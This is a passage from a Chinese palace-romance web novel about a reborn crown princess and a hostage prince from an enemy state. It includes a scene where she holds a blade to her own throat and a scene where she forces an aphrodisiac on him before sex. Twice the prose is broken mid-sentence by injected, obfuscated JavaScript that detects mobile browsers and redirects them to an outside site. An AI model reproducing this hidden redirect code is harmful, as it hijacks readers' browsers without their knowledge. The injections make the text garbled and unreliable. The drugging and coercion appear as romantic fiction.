许长宁推开门,守在门前的卫迟风随即行礼问安。 “迟风,阿皓的事安排得如何了?”许长宁拢紧了薛竹铃给她披上的外袍。 卫迟风答道:“臣已派人去接崔公子了。” 许长宁再三叮嘱:“一定要保护好他。” “殿下放心。” 许长宁颔首:“密室都打点好了吗?” “打点好了……”卫迟风有些犹豫,“可是殿下,您一定要这样做吗?” 许长宁垂首望向自己仍光着的脚,朝前迈出一步。 地面与她脚底触碰的感觉,有些冷,有些硬,小石子还硌人…… 这令她深深地感受到,自己存在于这世上。 她还活着,她的每一步,都有重量。 “我心意已决。”许长宁深呼吸一口气,“我定会,改变这一切。” * 江鹤一的前世日志·六 母后不在了,父皇应当也不会要我了……苏明烨也死了……我不知自己为何还要在这里苟活着…… 许是我的情绪太过低迷,许长宁有所察觉,又或是许久以前,她就已经发现了破绽,今夜她告诉我,她知晓我非谢筠。 那一刻,我心中竟毫无波澜,本想着要是被杀了正好,免得自己动手。可她却让我留下,还问我想要什么……我还能要什么?我只想回家……但她的话,又一次让我意识到,我已无家可归。 我拼命强忍,却还是止不住眼泪,只能忍着不发出声音,可她却来摸我的脸,还是被她发现了……事已至此,我以为我已将她今夜的兴致毁得干净,但她却在我要起身离开时,跟我说了一句话。 她说,若我愿意,可将这昭宸殿,当作我的家…… 8. 交锋 翌日,许长宁忙完政事后,去昭宸殿探望昏迷不醒的许昭临。 有东宫卫士替她守着父皇,她才安心些许。 如今她不敢轻信任何人,就连太医送来的药,也要多次验毒。 “父皇,儿臣尚未来得及与您说句话。您一定要好起来。” 许长宁轻声呢喃,悄悄红了眼,“宁儿很想念爹爹……” 她舀起一小勺药,小心翼翼地吹了吹,然后像父皇小时候给她喂药时那样,往药里撒了一些白糖。 “药很苦,但宁儿给爹爹放了糖,爹爹要喝下去。”她微微笑了笑,小心地将药喂入许昭临口中。 但喂了两勺后,药便流了出来。 许昭临已经无法吞咽了。 许长宁的笑意凝固,喉头发涩。 “无碍,我们一会儿再试试。”她放下了药碗,接过薛竹铃递来的帕子,为许昭临擦拭嘴角。 “喂药当让太医来喂,你不懂。” 李令舒的声音从身后传来,许长宁闻言,温柔之色顿时褪去。 她并未问安,也没有答话,甚至看都未曾看李令舒一眼,只是默默站起来,转身欲离开。 “你近日怎么回事?”李令舒蹙眉道,“对谁都没有好脸色,对本宫如此,对筠儿更——” “筠儿……”许长宁哼笑一声,打断了李令舒的话。 她转过身,面无表情地望向李令舒,“谢筠到底是母后的表侄,还是您的亲生儿子?” 在李令舒神色忽变,正要斥责许长宁之前,许长宁马上又说,“啊,不对,他应该,很快便是母后的女婿了,那与亲生儿子也无甚区别了。儿臣说得没错吧?” 李令舒想起此事,便不再计较方才许长宁那一句令她生气的话了:“你的婚事关乎国本,本宫已与谢相商量过了,你唯有与筠儿成婚,谢家才有立场让那些傲慢的世家拥护你,你方可顺利登基。” “可儿臣不打算成婚,更不会与谢筠成婚。”许长宁语气淡淡。 李令舒的眉头皱得更深:“筠儿到底如何不好了?” 许长宁直言道:“谢筠根本没有将儿臣放在眼中,他连碰都不愿碰我,夜里给我下迷药,找人行替代之事。” 李令舒闻言,神情凝固了一瞬,似是不相信。 许长宁早就料到她的反应,轻笑一声:“过两日我会将人证带到朝会上,母后若不信,可以来看看一场好戏。” “不可!”李令舒几乎没有犹豫,立即出言阻止,“你必须与筠儿成婚,他若不喜你……你登基后,再寻别人便是。那严伯钧乃极其古板之人,因你是女子,你父皇立你为储君之时,他便再三阻止,陛下发怒后他才勉强妥协。日后若无谢望松支持你,严伯钧和他的那些门生,绝不会让你登基,他们甚至在暗中商议,要择宗室子弟为皇太子。” 句句为许长宁好,皆是为她着想…… 真的如此吗? 许长宁凝望李令舒有些疲惫的面容,想要靠近,却望而生怯。 前世她与谢家撕破脸皮后,曾被谢家擒住,囚禁于刑房之中。 李令舒来寻她,她本以为母后会帮她逃出去,可在她与谢家之间,李令舒毫不犹豫选择了谢家。 李令舒只说了两句话。 “别再挣扎了,昭国已是谢家的了。” 当许长宁质问李令舒,说自己才是她的女儿,她的家人,为何她却要帮着害死了父皇的谢家之时,李令舒望着许长宁的脸很久,缓缓开口回答。 “为什么活下来的不是安儿,而是你?” 原来如此…… 因为当年和宁宴,死的人是她的阿兄许长安,而不是她,所以李令舒才会如此。 十几年来,她的母亲看着她的脸,想的竟是这个…… 许长宁每每想起那句话,便觉得心如寒冰,以至于她如今光是迎着李令舒的目光,都感到发冷。 既然李令舒铁了心要巴结着谢家,出于孝敬之心,她更不能遂了谢家的愿。 许长宁冷笑一声:“儿臣不需要谢家的支持,谢筠、谢望松……从谢家出来的,都不是什么好东西。” 李令舒自小便被寄养在谢家,许长宁看着她说这一句话,其意何其直白? “你!”李令舒上前一步,猛地抬起了手,要朝许长宁的脸打去。 然而许长宁却攥住了她的手腕,另一边手又一次抽出薛竹铃腰间的匕首,硬塞入李令舒的手中,逼她将匕首抵在自己的脖子上。 “母后生气了?打我怎够泄愤?”许长宁眼中一时闪烁着疯狂,她笑着提高了声量,“往这里割啊!你不是觉得当年该死之人是我吗?” 笑着笑着,许长宁眼中泛起一层薄泪,烧得她的眼睛好痛。 “看看我死了,阿兄能不能活过来!” 李令舒的神色变了又变,从震惊,到恐惧,再到愤怒,气得眼眶也红了。 她使劲想抽出手,却被许长宁攥得死死的,眼看着许长宁的脖子被刀刃划出了一条血痕,她急得破口大骂:“混账!你疯了吗?!” 一旁的薛竹铃也吓傻了,忙拽着许长宁的袖子,急声劝她放下刀,劝着劝着就哭得说不出话了。 许长宁听见薛竹铃哭,那股狠劲才泄了下去,手松开的瞬间,李令舒立即将匕首扔出很远。 她双眼通红,呼吸急促,方才挣扎间,头发乱了几分,此时看上去,再无半分皇后的端庄。 “许长宁,你给我听好了!”李令舒指着许长宁的手都在发抖,“你的命,已经不是你自己的了!你想找死,我不允许,你父皇不允许,你阿兄也不允许!” “你必须成婚,一个女人独自坐那把龙椅,绝无可能!若你不成婚,莫说皇位,你这储君之位也别要了!待右相一派动手,你恐怕连公主之名都保不住,还不如我亲手废了你更痛快!” 一通斥骂过后,李令舒转身便走,脚步快得似在逃离。 许长宁望着李令舒离开的背影,强撑起来的气势也顿时崩塌,泪如雨下。 最亲之人,却伤她最深,那分明是她最想依赖的阿娘啊…… “殿下……”薛竹铃缩着脖子,小心翼翼地靠近许长宁,抬手想用帕子为她擦去脖颈上的血,“竹铃给您唤太医来可好?” “不必。”许长宁很快便平复下来,她抬手先抹掉眼泪,又摸了摸伤口,摸了一手血。 满手的红,让她越发清醒与冷静。 这一世,李令舒还是要与她背道而驰,她便当作没有这个母亲。 她还有力排众议立她为储君的父皇,还有愿意拼了命救下自己的阿兄,他们信她,她便不是孤独一人。 “您不怕娘娘将这些事告诉谢家吗?”薛竹铃担忧道。 “谢家眼里容不得沙子,她知道告诉他们的后果。除非她不想再仰仗谢家,否则她不会的。” 许长宁把沾了血的指尖点在唇上,尝了尝血的腥味,“父皇的药凉了,你拿去热一热。喂完药我们便回宫,今夜还有更重要的事情要做。” 薛竹铃乖巧地颔首,端着药走出去,半途还俯身捡起了掉在地上的匕首。 “殿下还好吗?”卫迟风一直守在门外,即便殿内吵翻了天,许长宁不召他入内,他便不擅闯。 薛竹铃并未回答,只是气鼓鼓地瞪着他。 卫迟风:“?” “卫迟风,都是你出的馊主意!”薛竹铃将匕首塞到他的手中。 卫迟风一怔:“我?” “送我什么不好,偏要送我匕首,要我随身携带,却那么锋利。”薛竹铃方才的害怕,此时都化成了怨言,她凶得双眼好似铜铃,“你给我换一把钝的!或者拔不出来那种!” 言罢,她扬长而去,撇下了攥着匕首一脸困惑的卫迟风。 * 江鹤一昨夜被许长宁发现一事,谢筠并不知情,今早仍继续派人送来了药物。 这一次的药更为贵重,江鹤一给苏明烨服用了两次,辅以针灸,苏明烨的病情明显稳定了许多,只是一直未醒。 看夜色渐深,江鹤一穿戴整齐,正要去寻林笙,请他帮忙看着苏明烨,林笙的声音便从门外传来。 “老一老一!好消息!” 林笙的轻功极好,几乎不走院门,都是翻墙出入,悄无声息,一般一日会溜过来三四次,找江鹤一闲聊。 他推开门,满脸欢喜道:“你母后要被处死的消息是假的!今日六奶奶探听到消息,兵部一人在汇报军情时提及燕国皇后,说她如今好得很!燕皇前几日还与她一同去了周家军营,若你母后出事,恐怕燕皇都走不出周家军大营。” 江鹤一闻言一怔:“当真?” “我奶奶们的消息何时出错过?”林笙笑嘻嘻伸出手,“好消息可不得收些吉利钱?” 多日压在江鹤一心头的巨石,轰然碎成粉末。 他的嘴角抽了抽,生疏地扯出一个笑来。 太好了…… 他笑着顺势握住林笙的手,半是欢喜,半是心机:“谢谢你,阿笙。” “哎!别给我装傻。”林笙想要抽出手,却抽不出来,“谁要跟你握手了?” 江鹤一笑得更开心:“先欠着。” 林笙瞪了他一眼,也没有办法,只能掏出账本先记下来。 江鹤一坐到榻边,看向昏迷的苏明烨,想了想,还是低声说了句:“听见了吗?母后她没事。” 苏明烨并无反应,江鹤一的欢喜也淡了几分。 他垂下眼,又一次为苏明烨把脉,陷入了沉思。 母后无碍,那他听到的消息是怎么回事? 在这昭国,除了他,根本无人在意一个受到燕皇冷落的皇后,若有人故意散播周徽音的谣言,极有可能是奔着他来的。 意图利用这个假消息,引他心急吗? 他着急了,谁会有好处? 江鹤一几乎马上想到了谢筠,看来此人,早就盯上了他。 与谢筠合作,并非全无好处,然而棘手的是,许长宁竟然发现了,如今他夹在两人之间,走错一步都是死局。 万幸,许长宁似是个风流成性的,竟会对他这样的人产生兴趣,为此三番两次放过他,即便他无法答应她今夜的要求,只要他将她伺候好了,或许也能过关。 若再大胆一些,他甚至可以一开始便堵住许长宁的嘴。 躲得过一日,便是一日。 在昭国十几年,他都是如此过来的。 “老一,你……真的要去牺牲色相?”林笙的话音里多少有些担心,“叔若是知晓了,定会又气得吐血的。” “做戏罢了,表面功夫做足即可。她也许只是言语上玩弄我,并非真的有意与我行男女之事。”江鹤一为苏明烨掖好被褥,拿起桌上的一条挂链,戴在脖子上,“便当作是在……挨打吧……” “可昨夜的迷药不是不管用吗?”林笙咬着笔头问道。 “谁说我只会制一种迷药了?”江鹤一挑眉道。 * 江鹤一来到东宫后方,发现此处如昨夜一般,刻意撤走了巡查的卫士。 他攥紧脖子上的镂空坠子,推开后门进入了东宫,来到了寝殿后窗前。 他敲了敲窗,里面随即传出回应。 “进来吧。”许长宁的声音有些慵懒。 江鹤一熟练地爬窗进去,在床榻前的屏风处跪下行礼问安。 屏风隐约透出对面许长宁的模样,江鹤一只是匆匆一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741895|189670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞥,心头却泛起了一丝紧张。 她穿得甚是轻薄,长发披散,完全是一副要就寝的模样。 她是认真的…… 怎会是认真的…… 许长宁当真想与他行房事吗?他一个卑贱的质子,浑身都是伤疤,从小到大受尽羞辱,不干不净,她堂堂昭国储君,图什么? 不会真的图这副皮囊吧? “江郎君隔着屏风,要如何哄我开心?”许长宁以最舒适的姿势,侧身靠着床头的垫子,用手撑着头,看着屏风外的江鹤一,轻声道,“过来。” 江鹤一默默紧了紧牙关,起身绕过屏风,在许长宁榻前跪坐下来,眉目低垂,甚是乖顺。 “今日倒是多穿了几件衣裳。”许长宁微笑道,“脱起来岂不麻烦?” “殿下若不喜,小人这便脱。”江鹤一随即开始解腰带。 “不急。”许长宁坐了起来,俯身向前,顿时与江鹤一靠得很近,“江鹤一,我再给你一次坦白的机会,昨夜,你为何而来?” 那股淡香再度扑面而来,加之许长宁带有笑意的面容映入眼帘,江鹤一一时晃了神。 为何,总会有一种熟悉感?为何,他总是在闻到这阵淡香后,会下意识地卸下防备? 明明她还是在怀疑他,他的处境甚是糟糕…… 江鹤一藏于袖中的手狠狠掐了一把自己的腿,低下头,避开许长宁的目光,脑中反复思索着答案。 许长宁见他如此,便给足了他思考的时间,开始打量眼前人。 太瘦了…… 前世她与谢筠成婚之日,江鹤一的身形与谢筠是相差无几的,想来应当是谢筠提前让他吃饱喝足了,而眼下两人合作不过两日,江鹤一还没有这个待遇。 看来除了为他备药,还得多备些肉食,再让卫迟风好好带他练练身子。 对了,他的腿…… 定是从前伤到了骨头,未能好好医治,才会导致跛脚。 这比调理身子要难许多…… “殿下……”江鹤一和润的声音,将许长宁飘远的思绪拉了回来。 她看到江鹤一眼神坚定,似是想通了,嘴角不禁微微上扬。 “殿下为何不信小人的真心?” 什么? 许长宁一怔,尚未来得及生气,江鹤一忽然起身,整个人朝她压来,一手托住她的后颈,倾身将她压倒在榻上。 “你——” 许长宁方才说出一个字,江鹤一竟不管不顾地吻上了她的唇,将她的话堵了回去。 与前两次全然不同,这一次,江鹤一竟主动闯入了她的地盘,侵略性极强,似是要将她折服。 许长宁带着一股怒意,扣住他的后背开始反攻,唇舌交战,两人的手也愈发用力,紧紧将彼此扣在怀中,交换着体温与气息,一同起伏着。 许长宁恍惚间,仿佛回到了前世的最后一刻。 这种炙热与不顾一切,令她泛起泪意。 咬着江鹤一的唇,抚着他的背脊,沉浸在他的气息中,她明白了这股泪意为何而生。 原来,她想他了…… 她想与他相拥而眠,想与他在黑暗中面对面,毫无顾忌地谈天说地,她想听他唤“阿宁”…… 她思念的……前世的江鹤一…… 眼泪渗出来的瞬间,许长宁睁开眼,猛地推倒江鹤一,将他按在榻上,伸手掐住了他的脖子。 “为何……为何还要骗我……”许长宁的眼泪,滴落在江鹤一的脸上。 江鹤一瞳孔一颤,尚未从震惊中反应过来,随即看到许长宁扯下了他戴在脖子上的坠子,扔到一旁。 他所制的新迷药,便装在坠子里。 “孤已给过你机会,你竟还将孤当做傻子?如此护着谢筠,是觉得孤斗不过他吗?”许长宁的话音中充斥着愤怒,掐住江鹤一的手也在一点点收紧。 在谢筠二字被提及时,江鹤一便已明了一切。 事已至此,他再掩饰也无用,望着许长宁的眼神中,添了几分厌恶:“既然你早已知晓,又何必与我虚与委蛇,真是恶心。你说得不错,我就是觉得你不如谢筠,斗不过偌大的谢家,无论如何,我也绝不会为了你与谢筠为敌,那无异于寻死。” 许长宁被江鹤一的话所刺痛,手顿时松了一瞬。 江鹤一终于不用再伪装,一时痛快不已,反正已经是死路一条,便愈发无所畏惧,口无遮拦,想用言语击垮许长宁。 “我猜皇太女殿下是不想与谢筠成婚,受人所制,要借我摆脱这件婚事吧?可是依我看,你绝对躲不掉这门婚事!这昭国满朝文武,绝不会放过你!国律岂是你凭一己之力可以颠覆的?简直痴心妄想,不自量力!” “你绝不会得偿所愿!” 江鹤一咬牙切齿,脸色已涨红,望着上方许长宁的眼神中,透着一丝疯狂。 他太想赢一次了,不管对方是谁,他都想狠狠地赢一次,不再做那个被践踏的人。 “好啊……”许长宁的声音有些颤抖,“你便好好看看,孤会不会得偿所愿。” 江鹤一正要继续出言攻击,却忽然被许长宁掐住嘴,灌下一小瓶药水。 他猝不及防,已然将药水咽了下去,猛地侧身一阵呛咳。 “你想做什么?”他顿时便觉得浑身开始燥热,好似醉酒一般,神志迅速变得越来越模糊,连质问的声音都变弱了。 他挣扎着想要逃离,却被许长宁再度按倒在榻上。 许长宁掐住了他的脸,强行逼他看着自己,寒声道:“只准你用迷香,不准孤下药吗?” 江鹤一的脸上,终于浮现出一丝慌张。 他的身体反应告诉他,许长宁给他灌的,是迷情散。 9. 迷情 屋外飘起了雪,林笙本想看看雪景,但他坐在窗前,觉得越来越冷,只能关上了窗。 他给榻上的苏明烨多盖了几件衣裳,看着这破旧的屋子,轻轻叹了一口气。 老一这日子,过得确实挺惨的。 这破屋子好像叫什么“静思院”,但院中无亭无榭,只有两间摇摇欲坠的破房子,夏日漏雨,冬日漏风,所谓静思,不过是被软禁的托词罢了。 江鹤一八岁来昭国为质,唯一的职责,便是要过得够惨,如此才能让皇宫中的人看着解气,因为他燕国的人在十二年前,可是把昭国的皇子公主们都杀光了,只剩下一个许长宁。 林笙很多年前就看出来了,燕国人根本不在意他们这个嫡长皇子,连半封信都没有来过,唯有每年新岁,派人给江鹤一送来一份燕国特有的糕点。 他觉得那与施舍无异,但江鹤一将每年的那份糕点视为希望,他也就没有说过什么。 因为燕国人的不在乎,江鹤一失去了唯一一个可以活得像人的筹码,在这昭国皇宫中,成为了人人可欺的蝼蚁。 据他所知,江鹤一身上那些纵横交错的伤疤,都是被太监和侍卫打的,没有什么特别的原因,他们纯粹是想找个人出气。 不过江鹤一这小子,从小就机灵,还有超人的忍耐力。 林笙初遇江鹤一时,便对此深有体会。 他与收留他的六局奶奶们一起住在寿昌院,恰好在这破静思院附近。他九岁那年,有一日从一个总是欺负他的太监手中偷了些东西,结果被人发现了,他误打误撞逃进了这静思院,一进门便见到了江鹤一。 狼狈,是他对江鹤一的第一印象。 鼻青脸肿,似是被人暴打了一顿,一条腿被厚厚的白布包扎着,有血渗出来,染红了白布。 林笙来不及解释,也顾不上查探江鹤一身份,闯入屋内,钻进了床底。 追兵的声音很快传来,他躲在床底下往外偷看,紧张得额头冒汗,生怕江鹤一把自己卖了。 但他看到江鹤一思索片刻,竟坐下来拆了腿上的包扎,露出一条血肉模糊的腿,吓得林笙不敢多看。 那几个追林笙的太监闯入静思院,本要搜查,江鹤一却猛地扑到他们身上,抱着他们的腿,说什么自己的腿好痛,感觉要断了,求他们救救他,哭得十分凄惨。 他的血蹭了那些太监一身,几个太监甚是不耐烦,又嫌江鹤一脏,环视屋内几眼,没有仔细搜查,一脚踹开江鹤一便离开了。 林笙得救了,松了一口气,爬出床底,谢字尚未说出口,便见江鹤一面无表情地朝他伸手:“肉包子,给我。” 林笙一怔:“你怎么知道我有肉包子?” 江鹤一:“你进屋我便闻到了,不然救你做什么?” 林笙为了报答救命之恩,忍痛割爱,背囊里的五个肉包子,给江鹤一分了两个。 江鹤一掰出半个,留在桌上,开始大口吃。 林笙坐在一旁,盯着江鹤一血淋淋的腿,再看其表情——没有半分痛苦,甚至有几分喜色。 换作是他,他高低得哭嚎得半个皇宫都能听见。 “不疼吗?”林笙好奇道。 “疼。”江鹤一一口气把最后半个包子塞进嘴里,“但更饿。” “要不,我再给你把布缠上?” “不必,待会有人会为我重新包扎。”江鹤一看向桌上的半个包子,咽了口口水,但始终没有吃,“下次你还可以躲来这里。” 林笙那时还以为江鹤一是因为够义气才说那句话,后来很快发现,江鹤一就是盯上了他的包子。 两人年纪相近,江鹤一只比他大两个月,彼此也没有什么身份差距,林笙在宫里是无人在意的小太监,江鹤一是卑微如泥的质子,一来二往,两人便成了朋友。 林笙虽然也恨燕国人,但他知道,江鹤一只是一个被推出来代为受罪的无辜孩童罢了。 他是打心底里觉得江鹤一真惨,这日子,一点盼头都没有。 “不过叔,幸好老一长得还行,看上去楚楚可怜的,若是殿下真瞧上他了,能当个面首,日子也能好过许多。”林笙一个人待着无聊,便开始对着昏迷的苏明烨絮絮叨叨。 他翻开那本小册子,喜滋滋道,“等老一得到殿下青睐,你们俩欠我的债可得赶紧还啊,奶奶们年纪大了,日后要花钱的地方越来越多了,我答应过要让她们每天都吃香的喝辣的。” 一阵沉默过后,林笙忽然想起什么,转身看向榻上的苏明烨。 “唔……看在叔总是为奶奶们治病的份上,叔的那份可以慢慢还,但老一的可不能再拖了。” 话音刚落,他忽然发现苏明烨的手指动了动,他忙坐到榻边,轻轻摇了摇苏明烨:“叔?能听见我说话吗?” 苏明烨蹙了蹙眉,微微侧过头,似是做了噩梦。 偷跑进来的寒风卷起他的一丝碎发,落在了他的眼睛上。 林笙帮他拨开那一小撮头发,顿时为苏明烨感到有些心酸。 明明才过不惑之年,苏明烨的头发却已将近半白。 当初燕皇派了一队人马陪江鹤一一同来昭国,怎知路上遭遇意外,就活下来一个苏明烨。 这十几年,林笙是看着苏明烨背地里如何照顾江鹤一的,但也不知道他到底在闹什么别扭,自己做过的好事是一件不提,整天对江鹤一臭着一张脸。 虽然江鹤一老说苏明烨是个窝囊废,只会求饶,但若没有苏明烨教的那些五花八门的求饶之法,江鹤一定要挨更多打,而且苏明烨的医术其实堪比宫中太医,也悉数教给了江鹤一。 他把江鹤一照顾得挺好的。 “小子……”苏明烨呢喃着微微睁开了眼。 “叔,我是阿笙。”林笙笑着在他眼前晃了晃手,“您要喝口水吗?” 苏明烨看清楚眼前人,又蹙了蹙眉头:“阿笙啊……那小子……又去何处了?” “他……”林笙感到心虚,借着倒水掩饰神情,“他去给叔讨药了。” 苏明烨轻咳几声,又问:“去向谁讨?” 林笙下意识挠挠头,答道:“太医啊。” 苏明烨也认识林笙十几年了,知晓他一撒谎就会挠头的习惯,神情顿时严肃起来:“撒谎,江鹤一到底去了何处?难道又去给皇帝……” 苏明烨说到一半,意识到不对,便慌得说不下去了,挣扎着要起身,“这个臭小子……不要命了……” “哎哎!叔您不能起来!”林笙连忙阻止,却被苏明烨揪住了耳朵。 苏明烨急得涨红了脸:“快……快去把他找回来……” “叔您别激动!”林笙怕苏明烨太过心急导致发病,耳朵又被揪得有些疼,只好实话实说,“老一没有去做傻事!他是有计划的!” “他能有什么计划?”苏明烨不相信。 林笙歪着身子道:“他……他要去迷倒我们皇太女殿下,当她的面首!” “什么?”苏明烨一怔,林笙趁机逃脱,摸着耳朵,如实对苏明烨说明了情况,从御书房那日到眼下发生的一切。 “老一调制药物就没有失手过,您放心,他就去做做表面功夫,肯定很快就完好无损地回来了。”林笙打包票道。 他本以为苏明烨听了会安心,怎知苏明烨竟急得直接跌下了床榻,一副爬也要爬去找江鹤一的模样,吓得林笙赶紧去扶他。 苏明烨急红了眼,挣扎着要站起来:“这个傻子!太医常年给你们殿下吸用防嚏之药,那药物有迷香成分,使用次数多了,她恐怕不会受迷药所惑啊!” “啊?”林笙深感不妙,“那老一岂不是……要真的献身了?” * 东宫寝殿,江鹤一被许长宁压在身下,浑身烧得难受。 一股难以抑制的冲动,渐渐蔓延他的全身。 他几度尝试推开许长宁逃离,却因为药物而头昏眼花,力气一时竟不如许长宁,始终被她囚在身下。 他发现许长宁那被他咬过的唇越发鲜红,她身上的那股淡香,犹如丝丝密线,要在他四周笼罩成茧,叫他根本无法逃离。 “别碰我……” 江鹤一死死扯住自己的衣裳,他后悔了…… 没想到,昭国储君竟是个疯的…… 许长宁笑了一声,指尖一如御书房见面那次,轻抚过他五官的轮廓,引起他一阵酥麻。 “晚了,是你来招惹我的。” 许长宁压下来,要去吻他,江鹤一却没有再挣扎,那股淡香仿佛勾走了他的魂,似乎只要他再靠近一些,体内灼烧的火便能得到甘霖。 该死的迷情散…… 江鹤一情难自禁,竟直接伸手,顺势将许长宁扣下来,两人唇齿碰撞,又掀起了一场交战。 许长宁从起初的轻柔,渐渐到索取,如水一般,缠绕着江鹤一。 江鹤一只觉自己溺在温热的水中,似是难受,又似是享受,许长宁亲吻过、抚摸过的那些地方,竟让他羞耻地感受到渴求……他还想要更多,还想更深入…… 然而,门外却忽然响起敲门声。 “阿姐!你睡了吗?” 一道许长宁熟悉的声音,打破了殿内的旖旎气氛。 “阿姐?我是崔皓呀!我能进去吗?” 许长宁猛地直起身子,看向殿门方向。 阿皓?怎么这个时间过来了? “阿皓等一下!”许长宁急声道。 阿皓方才年满十六,可不能让他瞧见这些。 她连忙捡起方才脱掉的外衫,又多披了一件外袍,将自己裹得严实,却尚未来得及挽发穿鞋袜,殿门就被人推开了。 崔皓看见长发披散,光着脚站在面前的许长宁,顿时便傻了眼。 他还是第一次见到许长宁这副……衣衫不整的样子…… 门口的卫迟风看见后,马上转身避开,薛竹铃急匆匆追着进来,对许长宁满脸歉意:“殿下……崔公子他急着要来见您……” “无碍。”许长宁拢紧外袍,笑问崔皓,“阿皓路上可有受凉?” 崔皓笑着冲上前抱住许长宁,他的身量已经几乎与许长宁一样高,许长宁一时被他抱得向后趔趄半步,险些没站稳。 “阿姐!我好想你!” 崔皓是她恩人的遗孤,是她看着长大的孩子,如同亲弟弟一般的存在。 前世,崔皓陪她走到了最后,为了让她争取一线生机,他带着百来残兵去引开追兵,只可惜,最后谢筠还是追上了她,崔皓的下场可想而知。 这一世,许长宁发誓要保护好他,便让卫迟风将他接入宫来。 只是这入宫的时间,还真是刚刚好啊…… “阿姐也很想念你,我们阿皓又长高了不少。”许长宁虽然是由衷地感到欢喜,但笑容却有些勉强,一时还难以从方才的状态转换过来。 崔皓撒娇一般将许长宁抱得更紧,他的目光,借机瞥向了榻边的屏风。 那笑意盈盈的眼神,忽地沉了一瞬。 他隐约看到,榻上还有一道身影。 崔皓松开许长宁,问道:“阿姐,我听闻你要与谢家长子成亲了,这是真的吗?” 许长宁笑着反问:“阿皓可支持这门婚事?” “我不知道……阿姐可喜欢那谢公子?”崔皓又问。 许长宁想了想,抬手摸摸他的头,笑道:“我更喜欢阿皓。” 崔皓被摸了头,脸上再度泛起笑意。 “可若阿姐不与谢公子成婚,是否会有危险?” 许长宁耸耸肩:“只有我一人在朝堂上做靶子,好的坏的都只能冲我来了。” 对了…… 许长宁忽然心生一念。 若只有她一人作为靶子,必会寸步难行,那为何她不找别人做这个靶子呢? 身后床榻方向忽然传来一声轻微的吱呀声,似是榻上之人翻身时木板发出的声音,这让许长宁顿时回过神来。 “好了,阿姐已为你备好房间,快去休息吧,阿姐也要歇息了。”许长宁一边说着,一边将崔皓轻轻推出寝殿,在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741896|189670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说出下一句话之前,把门关上了。 随着屋内照在崔皓脸上的光被阻隔,崔皓的神色也沉了下去。 他对着紧闭的殿门沉默片刻,随即转身,笑盈盈地低声问薛竹铃:“薛姐姐,殿内之人并非谢公子,那是何人?” 殿内的许长宁自是没有听见这句话,她快步走回榻边,本以为江鹤一会借机逃跑,却不料榻上之人仍在,只是背对着她蜷缩成了一团,似是在等她回来。 颇有几分可怜的模样。 “如此好的机会,怎么不逃?” 许长宁伸手想撩起他遮住面容的头发,却被他忽地攥住手猛然一拽,整个人躺倒在榻上,江鹤一翻身将她压在了身下。 待许长宁看清楚眼前人的模样时,不禁有些意外。 江鹤一整个人可谓是滚烫,脸色潮红,呼吸粗重急促,与方才意欲逃跑的模样截然不同。 仿佛猎物化身为猎人,带有几分危险的气息。 竹铃这小丫头寻来的迷情散,还挺厉害啊…… “我若逃了,你会放过我吗?”江鹤一的声音也变得粗哑,气势犹如宣战。 许长宁轻笑一声,捻起他的一撮头发,缠绕在指尖:“不会。” 她方才想到了一个破局的好法子,怕是今后都不会放过江鹤一了。 谁让他来招惹她? 江鹤一俯视着她那带有几分轻佻的眼神,撑在她身侧的手紧紧攥成了拳。 他的气息粗重得仿若漫天阴云,几乎要从上方塌下来。 “怎么?想对孤动——” 许长宁的话尚未说完,江鹤一的吻便落了下来。 他如同极其饥渴的旅人,要从她身上汲取甘露,那股隐隐的狠劲,颇有要将她榨干的意图。 吻到解了这迷情散,吻到这皇太女心满意足…… 吻到她觉得腻了自己,再也不纠缠…… 江鹤一是如此打算的,可局面却渐渐偏离了他的打算。 意识再回拢一些时,许长宁已将他压在身下。 他身上的衣裳,在不知不觉中被尽数脱掉。 江鹤一的双眼变得猩红,他不甘示弱一般,开始撕扯许长宁的衣裳。 既然他无法阻止这场羞辱,那他便要拖许长宁一起入泥潭。 他不要再卑躬屈膝,不要再摇尾乞怜。 他万般卑贱,也许唯有在这一夜,他可以赢她,赢了这昭国眼下最尊贵之人。 他也要羞辱她,他也要她痛苦。 嘶啦一声,许长宁的衣裳被撕裂了。 方才还被压着逃不动的人,此时竟撕坏了她的衣裳。 江鹤一紧紧揽住她的腰,再度翻身将她压在身下,动作变得愈发粗暴,脖颈青筋暴起,似是要将她揉碎在怀里。 虽然生疏笨拙,但身体的本能反应,让他不曾停顿片刻。 当他听见许长宁的低吟与轻呼时,他觉得他赢了。 许长宁着实被弄疼了,她也不服,开始往死里咬江鹤一,十指深深嵌入他后背的那些伤疤之中,要与他两败俱伤。 除了咬他,江鹤一发现许长宁还在寻机驯服他。 她的每一次故意的触碰与抚摸,都让他难以抗拒。 吻他的耳垂,轻抚他后背的疤痕,像安抚小动物那般,一遍遍从上至下,抚过他的背脊…… 好奇怪,他的身体似乎拥有记忆,因这些动作,他不受控制地放轻了力道,仿佛害怕弄疼她一般…… 渐渐地,他失去了对局势的掌控,犹如许长宁的掌中之物,任由她玩弄拿捏。 他只能顺从,只能臣服,在她的引领下,以她喜爱的方式,去探寻她的领域。 而且不知为何,他隐隐觉得,这一切有些熟悉。 他在她引领之前,似乎便已知晓该往何处走。 迷情散……会有这等功效吗…… “云止……” “还疼吗……” 沉浮之间,江鹤一用最后一丝神智,将许长宁的话听进了心里。 她在……唤谁…… 夜里克制的轻吟,如同又一剂迷情散,令江鹤一意识愈发迷离。 